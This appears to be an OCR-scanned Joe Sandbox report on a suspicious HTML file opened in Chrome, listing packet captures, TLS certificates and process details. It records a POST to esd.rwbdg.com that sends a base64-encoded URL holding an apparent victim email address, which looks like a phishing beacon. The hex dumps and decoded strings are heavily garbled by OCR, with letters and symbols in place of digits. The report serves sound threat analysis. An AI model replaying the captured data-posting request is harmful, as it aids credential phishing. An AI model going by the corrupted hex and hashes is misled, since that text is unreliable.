35 43 ea 89 5e 1f 60 4e fa c0 55 8e 8 3c d5 d0 c7 6f f0 e0 10 90 19 d3 69 40 02 f8 eb ed ef e3 e4 3c 44 1a a2 cb 3f 0d a3
3b 3d aa 00 4a 35 f9 79 c8 3f 6b 80 e3 b8 dc b8 5a 22 80 67 98 96 3a 15 94 e5 9a e4 2a c7 87 64 aa cd 53 67 65 b4 67 e5
84 b0 35 db f6 77 fd b7 ab 9e e3 14 el bb db 87 39 3e 3f 8a 05 ¢1 69 27 7c 1c 12 Oc d8 14 3d f3 85 97 ee 3b 2b 1e a6 8d
ec cb 3f ea 65 40 84 35 72 37 78 94 f9 15 1a a0 43 f9 ff 4d 3e 58 0Of e8 {5 5e a5 f6 5c ef 7b cf 80 76 af 94 36 3f e4 2b e5 62
be 25 97 03 00 00 0d Oa

Data Ascii: 209m]o0+,3itUJBIc*plv>MMs>7v|s9,"%z=VR9hwbKbyxCe2en'iZj*\s,0y1VRqge"V#Z[<TDPA(+hm86%VTaw-
CIn$?ZL=P+v1y7_076Y/ |_~bT_'?><nzo’icf2f*;kV/,daBOUqc8hkWQ%l-g5C" NU<oi@<D?;=J5y?kZ"g:*dSgeg5w9>?i'|=;+?
e@5r7xXxCM>X"\{v6?+b%
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kBytes

Source

Timestamp transferred

May 12, 2021 1570

21:33:50.334587097 CEST

May 12, 2021 1644

21:33:50.691534042 CEST

Session ID Source IP

1 192.168.2.7
kBytes

Timestamp transferred

May 12, 2021 1571

21:33:50.360469103 CEST

May 12, 2021 1644

21:33:50.688494921 CEST

HTTPS Packets

Timestamp Source IP Port

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49715
Direction
ouT
IN
Dest
Dest IP Port

Data

POST /wild/api.php HTTP/1.1

Host: esd.rwbdg.com

Connection: keep-alive

Content-Length: 70

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121
Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://esd.rwbdg.com

Referer: http://esd.rwbdg.com/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Data Raw: 63 55 73 65 72 4e 61 76 53 3d 61 48 52 30 63 48 4d 36 4c 79 39 33 63 6d 6¢ 30 5a 58 4a 73 65 53 35 6a 59 53
38 6a 6257 52336157 78 7a 62 32 35 41 5a 58 4e 6b 4c 6e 64 68 4c 6d 64 76 64 67 25 33 44 25 33 44

Data Ascii: cUserNavS=aHROcHM6Ly93cml0ZXJseS5jY S8jbWR3aWxzbh25AZXNkLndhLmdvdg%3D%3D

HTTP/1.1 200 OK

Date: Wed, 12 May 2021 19:33:50 GMT

Server: Apache

Content-Encoding: gzip

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 33 63 0d Oa 1f 8b 08 00 00 00 00 00 00 03 cb 28 29 29 28 b6 d2 d7 2f 2f ca 2c 49 2d ca a9 d4 4b 4e d4 57 ce
4d 29 cf cc 29 ce cf 73 48 2d 4e d1 2b 4f d4 4b cf 2f 03 00 d6 fc 20 9b 28 00 00 00 0d Oa
Data Ascii: 3c())(//,I-KNWM))sH-N+OK/ (

Destination IP Destination Port Process

103.120.64.61 80 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /favicon.ico HTTP/1.1

Host: esd.rwbdg.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121
Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Referer: http://esd.rwbdg.com/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Wed, 12 May 2021 19:33:50 GMT

Server: Apache

Content-Encoding: gzip

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 32 30 39 0d Oa 1f 8b 08 00 00 00 00 00 00 03 6d 93 5d 6f d3 30 14 86 ef fb 2b 2c 33 69 ad b6 da 74 55 d9 e8
92 4a c0 84 10 42 6¢ 63 ad 2a 84 b8 70 6¢ af 76 97 d8 c1 3e 4d 1a 4d fb ef 73 3e a0 1f c2 37 76 7c 9e 73 de f7 1c 39 91
82 2c 9d f5 22 25 99 98 f5 7a 3d 14 56 04 1a 52 39 8b 68 bb b7 77 99 04 86 b8 62 ce 4b 88 f1 62 fe 79 78 85 {7 43 86 65
32¢6 85 96 65 6e 1d 60 c4 ad 01 69 02 5a 6a 01 2a 16 b2 d0 5¢c Oe 9b 8f 73 a4 8d 06 cd d2 al e7 2c 95 f1 e8 6f al 84 79
8994 93 8f 31 56 00 f9 94 52 €9 05 71 65 22 56 84 db Oc 23 5a 5b 8¢ 3c 54 a9 44 50 e5 41 10 e4 16 28 f7 be 2b d1 8b 68
13 6d 38 da 36 15 25 56 54 61 f3 dc €9 1c 90 77 bc 2d ef 43 7d 6e 85 24 eb 3f 1b €9 aa 5a 81 b6 c¢7 el 98 4c c8 88 ac 3d
d6 al 89 95 d3 50 c5 d8 2b 76 31 79 37 bc 5f da cb 6f 37 ¢5 36 59 ce 2f 20 49 ee df 5f 7e 9c 8¢ ab af e6 e7 62 bc 54 5f e8
a7 ab 8a 27 3f 3e 3c ad ef 6e 82 Oc e2 ce 7a 6f 9d 5e 69 13 63 66 ac a9 32 bb 09 66 83 cd c6 cd ce d6 5e 3b 6b 56 b0 f6
b6 eb ea a4 2f 2c df 64 61 9c 03 e2 42 4f 55 ff 71 63 38 68 6b fa 83 €7 86 a8 57 c1 1c aa 1c 8a 51 a9 8d b0 25 49 2d 67
35 43 ea 89 5e 1f 60 4e fa c0 55 8e f8 3c d5 d0 c7 6f f0 e0 10 90 19 d3 69 40 02 f8 eb ed ef e3 e4 3c 44 1a a2 cb 3f 0d a3
3b 3d aa 00 4a 35 9 79 c8 3f 6b 80 €3 b8 dc b8 5a 22 80 67 98 96 3a 15 94 e5 9a e4 2a c7 87 64 aa cd 53 67 65 b4 67 e5
84 b0 35 db f6 77 fd b7 ab 9e €3 14 el bb db 87 39 3e 3f 8a 05 c1 69 27 7c 1c 12 Oc d8 14 3d f3 85 97 ee 3b 2b le a6 8d
ec cb 3f ea 6540 84 35 72 37 78 94 f9 15 1a a0 43 f9 ff 4d 3e 58 Of 8 f5 5e a5 f6 5¢ ef 7b cf 80 76 af 94 36 3f e4 2b e5 62
be 25 97 03 00 00 0d Oa

Data Ascii: 209m]o0+,3itUJBIc*plv>MMs>7v|s9,"%z=VR9hwbKbyxCe2en'iZj*\s,0y1VRqge"V#Z[<TDPA(+hm86%VTaw-
CIn$?ZL=P+v1y7_076Y/ |_~bT_'?><nzo’icf2f*;kV/,daBOUqc8hkWQ%l-g5C" NU<oi@<D?;=J5y?kZ"g:*dSgeg5w9>?i'|=;+?
e@5r7xCM>X"\{v62+b%

Not Not
Before After

JA3 SSL Client

Subject Issuer Fingerprint JA3 SSL Client Digest
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Source
Timestamp

May 12, 2021
21:34:01.288451910
CEST

5.144.130.32 443

May 12, 2021
21:34:01.395674944
CEST

5.144.130.32 443

Code Manipulations

Statistics

Behavior

o)

Click to jump to process

System Behavior

Source IP Port Dest IP

Subject

192.168.2.7 49766 CN=eaqarat-iran.ir

192.168.2.7 49767 CN=eagqarat-iran.ir CN=R3,

O=Let's Encrypt, C=US

CN=R3, O=Let's Encrypt,
C=USs

Not Not
Issuer Before After

JA3 SSL Client

Fingerprint JA3 SSL Client Digest

CN=R3, O=Let's Sun Apr SatJul  771,4865-4866-4867- b32309a26951912be7dba
Encrypt, C=US 18 17 49195-49199-49196- 376398abc3b
23:00:56 23:00:56 49200-52393-52392-
CEST CEST  49171-49172-156-
2021 2021 157-47-53,0-23-
65281-10-11-35-16-5-
13-18-51-45-43-27-
21,29-23-24,0

CN=R3, O=Let's Sun Apr SatJul  771,4865-4866-4867- b32309a26951912be7dba

Encrypt, C=US 18 17 49195-49199-49196- 376398abc3b
CN=DST Root CA  23:00:56 23:00:56 49200-52393-52392-
X3, O=Digital CEST CEST  49171-49172-156-
Signature Trust Co. 2021 2021 157-47-53,0-23-
Wed Oct Wed 65281-10-11-35-16-5-
07 Sep29 13-18-51-45-43-27-
21:21:40 21:21:40 21,29-23-24,0
CEST CEST
2020 2021
CN=DST Root CA Wed Oct Wed
X3, O=Digital 07 Sep 29
Signature Trust Co.  21:21:40 21:21:40
CEST CEST
2020 2021

@ chrome.exe
@ chrome.exe

Analysis Process: chrome.exe PID: 6060 Parent PID: 580

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Copyright Joe Security LLC 2021

21:33:43

12/05/2021

C:\Program Files\Google\Chrome\Application\chrome.exe

false

'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automat

ion 'C:\Users\user\Desktop\5781525.html'
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Imagebase: 0x7ff76d1c0000

File size: 2150896 bytes

MDS5 hash: C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: chrome.exe PID: 5616 Parent PID: 6060
General
Start time: 21:33:45
Start date: 12/05/2021
Path: C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit): false
Commandline: ‘C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=
network.mojom.NetworkService --field-trial-handle=1404,3373839678695000741,87135
29130945255826,131072 --lang=en-US --service-sandbox-type=network --enable-audio-
service-sandbox --mojo-platform-channel-handle=1696 /prefetch:8
Imagebase: 0x7ff76d1c0000
File size: 2150896 bytes
MDS5 hash: C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly
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